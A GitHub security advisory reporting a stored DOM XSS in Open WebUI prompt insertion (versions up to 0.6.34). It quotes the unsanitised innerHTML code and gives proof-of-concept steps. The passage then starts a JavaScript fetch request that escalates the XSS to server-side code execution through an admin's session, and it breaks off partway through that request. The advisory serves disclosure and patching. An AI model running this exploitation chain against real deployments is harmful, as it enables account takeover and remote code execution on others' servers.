GitHub Security Advisory: GHSA-w7xj-8fx7-wfch
Package: open-webui (PIP)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.6.34
Patched in: 0.6.35

Summary: Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

Details:
### Summary

The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt.

### Details

The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348

```js
	export const replaceCommandWithText = async (text) => {
		const { state, dispatch } = editor.view;
		const { selection } = state;
		const pos = selection.from;

		// Get the plain text of this document
		// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');

		// Find the word boundaries at cursor
		const { start, end } = getWordBoundsAtPos(state.doc, pos);

		let tr = state.tr;

		if (insertPromptAsRichText) {
			const htmlContent = marked
				.parse(text, {
					breaks: true,
					gfm: true
				})
				.trim();

			// Create a temporary div to parse HTML
			const tempDiv = document.createElement('div');
			tempDiv.innerHTML = htmlContent;                                          // <---- vulnerable
```

User controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README.

<img width="1816" height="498" alt="image" src="https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2" />

### PoC
Create a custom prompt as follows:
<img width="3006" height="1100" alt="image" src="https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981" />

Via settings, ensure 'Insert Prompt as Rich Text' is enabled:
<img width="2204" height="1268" alt="image" src="https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48" />

Run the command `/poc` via a chat window.
<img width="2470" height="1332" alt="image" src="https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744" />

Observe the alert is triggered.
<img width="2452" height="1456" alt="image" src="https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea" />

#### RCE
Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. 

This can be accomplished by making them run the following fetch request:
```js
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd